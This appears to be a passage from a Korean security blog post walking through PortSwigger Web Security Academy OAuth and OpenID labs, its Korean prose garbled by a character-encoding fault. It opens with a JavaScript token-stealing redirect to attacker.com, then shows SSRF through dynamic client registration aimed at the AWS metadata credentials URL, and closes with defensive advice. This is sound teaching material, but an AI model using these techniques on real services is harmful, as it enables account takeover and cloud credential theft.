if (!document.location.hash) { window.location = 'https://oauth-ac2d1f051e076ccac08b1ae702160036.web-security-academy.net/auth?client_id=g92x0rwiz7j58vc36wppq&redirect_uri=https://acc21fdf1eca6c0dc0fd1ae1007d00ce.web-security-academy.net/oauth-callback/../../post/next?path=https://attacker.com/access_token.html&response_type=token&nonce=-1604844947&scope=openid%20profile%20email' } else { window.location = '/?'+document.location.hash.substr(1) }
</script>
곡격μ μλ²μ μ μ₯λ Exploit Codeλ λ€μκ³Ό κ°μ΅λλ€. λ§μΌ ν΄λΉ μ£Όμμ κ΄λ¦¬μκ° λ°©λ¬Ένκ² λ κ²½μ° μλμ μ½λκ° μ€νλμ΄ μ‘μΈμ€ ν ν°μ νμ·¨ν μ μκ² λ©λλ€.
νμ·¨ν ν ν° κ°μ ν΅ν΄ Authoriztion ν€λλ‘ μ¬μμ²ν΄λ³΄λ©΄ νμ·¨λ κ΄λ¦¬μμ κ³μ μΌλ‘ μ‘μΈμ€ νκ² λ©λλ€.
OpenID λ?
OpenID Connectλ OAuth 2.0 νλ‘ν μ½ νμ₯ν΄μ λ§λ κΈ°λ₯μΌλ‘ Autorization Requestλ₯Ό 보λ΄λ©° μΈμ¦(Authentication)μ λν μ 보λ ID Tokenμ΄λΌ λΆλ¦¬λ JWTννμ μ¬μ©μ μ 보λ₯Ό 리ν΄ν΄μ€λλ€. 곡격μ κ΄μ μμ OAuth νλ μμν¬μ μ§μ μ¬λΆλ OpenIDλ₯Ό ν¨κ» μ¬μ©ν κ°λ₯μ±μ΄ μμΌλ―λ‘ ν¨κ» 체ν¬ν΄μ£Όμλ κ²μ΄ μ’μ΅λλ€.
1. ν΄λΌμ΄μΈνΈ λ±λ‘μ νκΈ° μ μ μΌμ°¨μ μΌλ‘ λ‘κ·ΈμΈμ μν(μ‘μΈμ€ ν ν°, API ν€ λ±μ΄ λ μλ μμ)
2. ν΄λΌμ΄μΈνΈμ κ΅¬μ± λ°μ΄ν°λ₯Ό POST νμμΌλ‘ μ λ¬ν¨(JSON λλ μλͺ λ JWT)
POST /register HTTP/1.1
Host: example.com
Content-Type: application/json
Accept: application/json
{
“redirect_uris”: [
“https://client.example.org/callback",
“https://client.example.org/callback2"],
“client_name”: “My Example Client”,
“token_endpoint_auth_method”: “client_secret_basic”,
“logo_uri”: “https://client.example.org/logo.png",
“jwks_uri”: “https://client.example.org/my_public_keys.jwks",
“example_extension_parameter”: “example_value”
}
3. ν΄λΌμ΄μΈνΈμ μν΄ κ²μ¦λκ³ λ±λ‘λλ©΄ μλν¬μΈνΈμμλ λ±λ‘λ μ¬μ©μμ λ°μ΄ν°λ₯Ό JSON νμμΌλ‘ μλ΅ν΄μ€
- μΌλ°μ μΌλ‘ client_id λ° client_secretλ₯Ό μμ±ν¨
HTTP/1.1 201 Created
Content-Type: application/json
{
“client_id”: “s6BhdRkqt3”,
“client_secret”: “cf136dc3c1fc93f31185e5885805d”,
“client_id_issued_at”: 2893256800,
“client_secret_expires_at”: 2893276800
,“redirect_uris”: [
“https://client.example.org/callback",
“https://client.example.org/callback2"],
“grant_types”: [“authorization_code”, “refresh_token”],
“client_name”: “My Example Client”,
“token_endpoint_auth_method”: “client_secret_basic”,
“example_extension_parameter”: “example_value”
}
OAuth μ OpenIDμ μ°¨μ΄
OpenIDλ μΈμ¦(Authentication) => ν νλ«νΌμ ν΅ν΄ μ΄ μ¬λμ΄ λꡬμΈμ§ νμΈ => JSON λλ JWT λ°©μ
OAuthλ νκ°(Authorization) => ν νλ«νΌμ μ‘΄μ¬νλ μ¬μ©μμ λ°μ΄ν°μ μ κ·Ό => ν€λμ Bearer ν¬ν¨
OAuthμμ λ°κΈνλ Access Tokenμ μΌμμ μΌλ‘ νΉμ κΆνμ νκ°ν΄μ€ ν ν°μΌ λΏμ΄μ§ μ¬μ©μμ λν μ 보λ λ΄κ³ μμ§ μμ
SSRF via OpenID dynamic client registration( λμ μΈ ν΄λΌμ΄μΈνΈ λ±λ‘μ ν΅ν SSRF )
OpenID Connect μΈμ¦ μμμ μΌλ° OAuth μΈμ¦κ³Ό λμΌν λ°©μμΌλ‘ μλν©λλ€. νμν κ²μ ν΄λΌμ΄μΈνΈκ° 'openid'λ²μλ₯Ό μμ²νλ κ²μ λλ€. response_type=code μΈ κ²μΌλ‘ 보μ μΈμ¦μ½λ λΆμ¬ νλ¦μ μ¬μ©νκ³ μμ΅λλ€.
openid λ²μκ° ν¬ν¨λλ©΄ λ μ§μ€νΈλ¦¬λ ν ν° μλ΅ λ΄μμ id_tokenμ λ°ννκ³ ν΄λΉ μ¬μ©μμ μ¬μ©μ μ 보 λμ μ μ‘μΈμ€ ν μ μλ ν΄λΌμ΄μΈνΈ κΆνμ λΆμ¬νκ² λ©λλ€.
μμ λ―Έλμ΄λ‘ λ‘κ·ΈμΈμ μ§ννλ©΄ μ¬μ©μμ νλ‘νμ΄ λνλλλ° μ΄λ /client/token/logo μ μν₯μ λ°μ΅λλ€. λΆμ¬λ tokenμ΄ μ΄λ€ κ²μΈμ§ μ μ μμΌλ©΄ νμ·¨λ ν ν°μΌλ‘ κ΅μ²΄νμ¬ κ³΅κ²©μμ νλ‘ν μ°λμ μ‘°μν μ μμ κ² κ°μ΅λλ€.
GET /.well-known/openid-configuration
OpenIDμμ λμ ν΄λΌμ΄μΈνΈ λ±λ‘μ΄ μ§μλλ κ²½μ° ν΄λΌμ΄μΈνΈ μ ν리μΌμ΄μ μ POSTμ μ© /registrationμλν¬μΈνΈμ μμ²μ λ³΄λ΄ μ체μ μΌλ‘ λ±λ‘ν μ μμ΅λλ€. λμ λ±λ‘ μλν¬μΈνΈ μ£Όμλ₯Ό νμΈνκΈ° μν΄μ OpenID Configurationμ΄ ν¬ν¨λ μ 보λ₯Ό νμΈν΄μΌ λ©λλ€.(reg μ μ¬ ν€μλ)
μ¬μ©μλ₯Ό μ±κ³΅μ μΌλ‘ μΈμ¦νκΈ° μν΄ OAuth μλ²λ "client_name", "client_secret", "redirect_uris" λ±κ³Ό κ°μ ν΄λΌμ΄μΈνΈ μμ© νλ‘κ·Έλ¨μ λν μΈλΆ μ 보λ₯Ό μμμΌ ν©λλ€. μ΄λ¬ν μΈλΆ μ 보λ λ‘컬 ꡬμ±μ ν΅ν΄ μ 곡ν μ μμ§λ§ OAuth κΆν λΆμ¬ μλ²μλ νΉμ λ±λ‘ λμ μ΄ μμ μλ μμ΅λλ€. μ΄ λμ μ μΌλ°μ μΌλ‘ "/register" λλ "/reg"μ 맀νλλ©° μλμ κ°μ νμμ POST μμ²μ λ³΄λΌ μ μμ΅λλ€.
POST /connect/register HTTP/1.1
Content-Type: application/json
Host: server.example.com
Authorization: Bearer eyJhbGciOiJSUzI1NiJ9.eyJ ...
{
"application_type": "web",
"redirect_uris": ["https://client.example.org/callback"],
"client_name": "My Example",
"logo_uri": "https://client.example.org/logo.png",
"subject_type": "pairwise",
"sector_identifier_uri": "https://example.org/rdrct_uris.json",
"token_endpoint_auth_method": "client_secret_basic",
"jwks_uri": "https://client.example.org/public_keys.jwks",
"contacts": ["ve7jtb@example.org"],
"request_uris": ["https://client.example.org/rf.txt"]
}
μ΄λ¬ν κ° μ€ λ€μλ URL μ°Έμ‘°λ₯Ό ν΅ν΄ μ λ¬λκΈ° λλ¬Έμ SSRFλ₯Ό μλν΄λ³Ό κ°μΉκ° μμ΅λλ€. μλλ κ° λ³μλ€μ κ°λ¨ν μ€λͺ κ³Ό λ°μ κ°λ₯ν λ¬Έμ λ€μ νμΈν μ μμ΅λλ€.
<Server Side Callback κ°λ₯μ±>
# logo_uri : ν΄λΌμ΄μΈνΈ μμ© νλ‘κ·Έλ¨μ λ‘κ³ λ₯Ό μ°Έμ‘°νλ URLλ‘ μλ²κ° μ체μ μΌλ‘ μ΄λ―Έμ§λ₯Ό κ°μ Έμ€λ κ²½μ° SSRF λ° XSS(<img>)μ λ ΈμΆλ μ μμ
# sector_identifier_uri : redirect_uri κ°μ λ¨μΌ JSON λ°°μ΄μ΄ μλ νμΌμ μ°Έμ‘°νλ©° μ§μλλ κ²½μ° λμ λ±λ‘ μμ²μ μ μΆνλ μ¦μ μλ²μμ μ½λ°±μ λ°μ
# request_uri : λμ ν΄λΌμ΄μΈνΈ λ±λ‘μ΄ νμ±νλμ§ μμ κ±°λ μΈμ¦μ΄ νμν κ²½μ°μλ "request_uri"λ₯Ό μ¬μ©νμ¬ μΈμ¦ μλν¬μΈνΈμμ SSRF μλ κ°λ₯
<Client Side Callback κ°λ₯μ±>
# redirect_uri : μΈμ¦ ν ν΄λΌμ΄μΈνΈλ₯Ό 리λλ μ νλ λ° μ¬μ©λλ URL
# client_uri : ν΄λΌμ΄μΈνΈ μ ν리μΌμ΄μ μ ν νμ΄μ§ URL
# policy_uri : μ΅μ’ μ¬μ©μκ° νλ‘ν λ°μ΄ν°κ° μ¬μ©λλ λ°©μμ λν΄ μ½μ μ μλλ‘ μ λ’° λΉμ¬μ ν΄λΌμ΄μΈνΈ μμ© νλ‘κ·Έλ¨μ΄ μ 곡νλ URL
# tos_uri : μ΅μ’ μ¬μ©μκ° μ λ’° λΉμ¬μμ μλΉμ€ μ½κ΄μ μ½μ μ μλλ‘ μ λ’° λΉμ¬μ ν΄λΌμ΄μΈνΈκ° μ 곡νλ URL
# initial_login_uri : μ 3μκ° RPμμ λ‘κ·ΈμΈμ μμνλ λ° μ¬μ©ν μ μλ https 체κ³λ₯Ό μ¬μ©νλ URIμ λλ€. ν΄λΌμ΄μΈνΈ μΈ‘ 리λλ μ μλ κ°λ₯
체ν¬ν΄μΌ λ λ³μλ€μ ν μ€νΈνλ λ°©λ²μ 첫 λ²μ§Έλ‘ /.well-known λμ μ ν΅ν΄ νμ©λμ΄ μλμ§ μ 보λ₯Ό μμ§ν΄μ λμ λ±λ‘ νμ΄μ§(/reg)μ μμ²μ νκ±°λ μ²μλΆν° ν μ€νΈνκ³ μ νλ λͺ¨λ λ³μλ₯Ό ν λ²μ λ λ €λ³΄λ κ²λ λ°©λ²μ΄ λκ² μ΅λλ€.(λͺ¨λ λ³μκ° μ¬μ©λμ§ μμΌλ©° λ³κ²½λ μ μμ)
/reg μλν¬μΈνΈλ‘ Callbackμ΄ κ°λ₯ν 맀κ°λ³μλ₯Ό μμ²ν΄λ³΄λ©΄ μλ΅ μμ€μ λνλ©λλ€. μ΄λ₯Ό ν΅ν΄ 곡격μλ ν΄λΉ λ³μλ₯Ό νμ©νκ³ μλ€λ κ²μ νμ ν μ μμ΅λλ€.
*μ΄μΈμ λ±λ‘ κ°λ₯ν λ©νλ°μ΄ν°λ μλλ₯Ό μ°Έκ³
https://webconcepts.info/concepts/oauth-client-metadata/
곡격μκ° Collaborator μ½λ°± μ£Όμλ₯Ό 맀κ°λ³μλ‘ μΆκ°νμ¬ μμ²νλ©΄ Responseμλ "client_id"κ° ν¨κ» λΆμ¬λ©λλ€. λ±λ‘λ ν΄λΉ κ°μ 볡μ¬ν©λλ€.
λΆμ¬λ client_id κ°μ Collaboratorλ‘ μλ‘ λ±λ‘ν κ°μΌλ‘ λ³κ²½ν΄μ μμ²ν΄μ£Όλ©΄ μ½λ°±μ λ°μ μ μκ² λμ΄ SSRFκ° λ°μλ©λλ€.
http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/
κ΄λ¦¬μ μ‘μΈμ€ ν€λ₯Ό νλνκΈ° μν΄ λ¬Έμ μ μ§λ¬Έμ ν¬ν¨λμ΄ μλ νΉμ μλ² μ£Όμλ‘ μμ²νμ¬ λμ ν΄λΌμ΄μΈνΈ λ±λ‘ ν id κ°μ 볡μ¬ν©λλ€.
볡μ¬ν κ°μ λ³κ²½νμ¬ μμ²νλ©΄ μ±κ³΅μ μΌλ‘ AWS λΉλ°ν€λ₯Ό νλν μ μκ² λ©λλ€.
μμ ν OAuth νλ μμν¬ κ΄λ¦¬
OAuthμλ κΈ°λ³Έμ μΌλ‘ λ³΄νΈ κΈ°λ₯μ΄ νμ¬λμ΄ μμ§ μμΌλ―λ‘ λ³΄μμ¬κ³ λ₯Ό μ¬μ μ μλ°©νκΈ° μν΄ μ 곡μμ ν΄λΌμ΄μΈνΈ μ ν리μΌμ΄μ
μμ μνΈμμ©νλ λͺ¨λ λ³μμ μ
λ ₯ κ°μ κ²μ¦νμ¬ μ ν¨ν μμ²λ§ μ²λ¦¬ν μ μλλ‘ κ΅¬νν΄λλ κ²μ΄ μ’μ΅λλ€.
λν μλΉμ€λ₯Ό μ¬μ©μκ° κ³΅κ° λΉκ³΅κ° μ 무λ₯Ό λ λμ μμμ κΆν λΆμ¬ μ ν보λ€λ "μΈμ¦μ½λ λΆμ¬"νλ¦μ λμ
νμ¬ μ¬μ©νλ κ²μ΄ μ’μ΅λλ€. μλνλ©΄ Access_tokenμ΄ URL νλΌλ―Έν°μ λ
ΈμΆλμ§ μμΌλ©°, ν€λμ ν¬ν¨λλ Referer λ User-Agentμλ μ¨κΈΈμ μκΈ° λλ¬Έμ μ€μν ν€ κ°μ μΈλΆλ‘λΆν° λ
ΈμΆλμ§ μλλ‘ μμ νκ² ν΅μ ν μ μκΈ° λλ¬Έμ
λλ€.
OAuth μλΉμ€ μ 곡μ κ΄μ
- μ€ν 리λ€μ΄λ νΈ μ·¨μ½μ (redirect_uri)
- μν(state) 맀κ°λ³μλ₯Ό μ¬μ©νμ¬ CSRF 곡격 λ°©μ§
- ν ν° μ ν¨μ± κ²μ¬(access_token, client_id)
- scope μμ²λ λ²μκ° κΈ°μ‘΄ λ²μμ μΌμΉνλμ§
OAuth ν΄λΌμ΄μΈνΈ μ ν리μΌμ΄μ κ΄μ
- μν(state) 맀κ°λ³μλ₯Ό μ¬μ©νμ¬ CSRF 곡격 λ°©μ§
- Refererν€λμ λ ΈμΆλ μΈμ¦ μ½λ(μΈλΆ μ΄λ―Έμ§, μ€ν¬λ¦½νΈ λλ CSS μ½ν μΈ κ° λ‘λλ λ ν€λλ₯Ό ν΅ν΄ μ μΆ κ°λ₯)
<Ref>
https://portswigger.net/web-security/oauth
https://portswigger.net/research/hidden-oauth-attack-vectors
https://portswigger.net/web-security/oauth/openid
https://www.bbsmax.com/A/q4zVEw9XdK/#ssrf-via-openid-dynamic-client-registration
http://dann.com.br/web-security-academy-going-deep-on-oauth-labs-and-a-beautiful-unintended-solution/
https://apisecurity.io/issue-127-hidden-oauth-attack-vectors-methodology-for-bola-idor/
https://developer.okta.com/docs/reference/api/oidc/#get-started
https://book.hacktricks.xyz/pentesting-web/oauth-to-account-takeover
https://www.praetorian.com/blog/attacking-and-defending-oauth-2-0-part-1/
https://velog.io/@ha0kim/OAuth
'WEB' μΉ΄ν κ³ λ¦¬μ λ€λ₯Έ κΈ
CSTI(Client Side Template Injection) μ·¨μ½μ (0) | 2022.03.08 |
---|---|
κΈ°μ λλ©μΈμ DMARC λ μ½λ λΆμ (0) | 2022.02.18 |
Log4j μ·¨μ½μ (CVE-2021-44228) (0) | 2021.12.23 |
Atlassian RCE μ·¨μ½μ (0) | 2021.09.12 |
Atlassian REST API μ·¨μ½μ (0) | 2021.09.11 |